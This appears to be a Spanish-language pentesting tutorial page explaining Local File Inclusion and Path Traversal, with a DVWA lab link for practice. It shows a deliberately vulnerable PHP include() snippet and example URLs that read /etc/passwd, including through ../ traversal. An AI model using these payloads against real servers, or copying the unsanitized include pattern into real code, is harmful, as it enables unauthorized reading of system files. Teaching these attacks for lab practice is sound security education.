> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/pentesting/pentesting-web/local-file-inclusion-lfi-y-path-traversal.md).

# LOCAL FILE INCLUSION (LFI) y PATH TRAVERSAL

ATAQUE QUE PERMITE INCLUIR FICHEROS DENTRO DEL SISTEMA DE ARCHIVOS DEL SERVIDOR.

## LFI

Incluir ficheros que ya existen dentro del servidor. Que en principio no deberían ser incluidos.

* Código vulnerable.

```php
<?php
    $file = $_GET['file'];
    include($file);
?>
```

* Inclusión de ficheros locales.

```
https://website.com/index.php?file=about.php
https://website.com/index.php?file=/etc/passwd
```

***

## PATH TRAVERSAL

Acceder a ficheros o directorios que esten fuera del directorio raíz del sitio web, que en principio no está permitido a nivel de código.

Usamos ../ para acceder a los directorios padres.

* Código vulnerable.

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2FmZw5cQK5GCEiJmj5dLvK%2Fimagen.png?alt=media&amp;token=953b0df2-8089-4859-8ee3-a64bf9bfbf0e" alt=""><figcaption></figcaption></figure>

* PATH TRAVERSAL.

```
https://website.com/download.php?file=../../../../etc/passwd
```

***

## LABORATORIO

{% embed url="<https://tryhackme.com/room/dvwa>" %}

LFI = DIFICULTAD EN LOW.

PATH TRAVERSAL = DIFICULTAD EN HIGH.
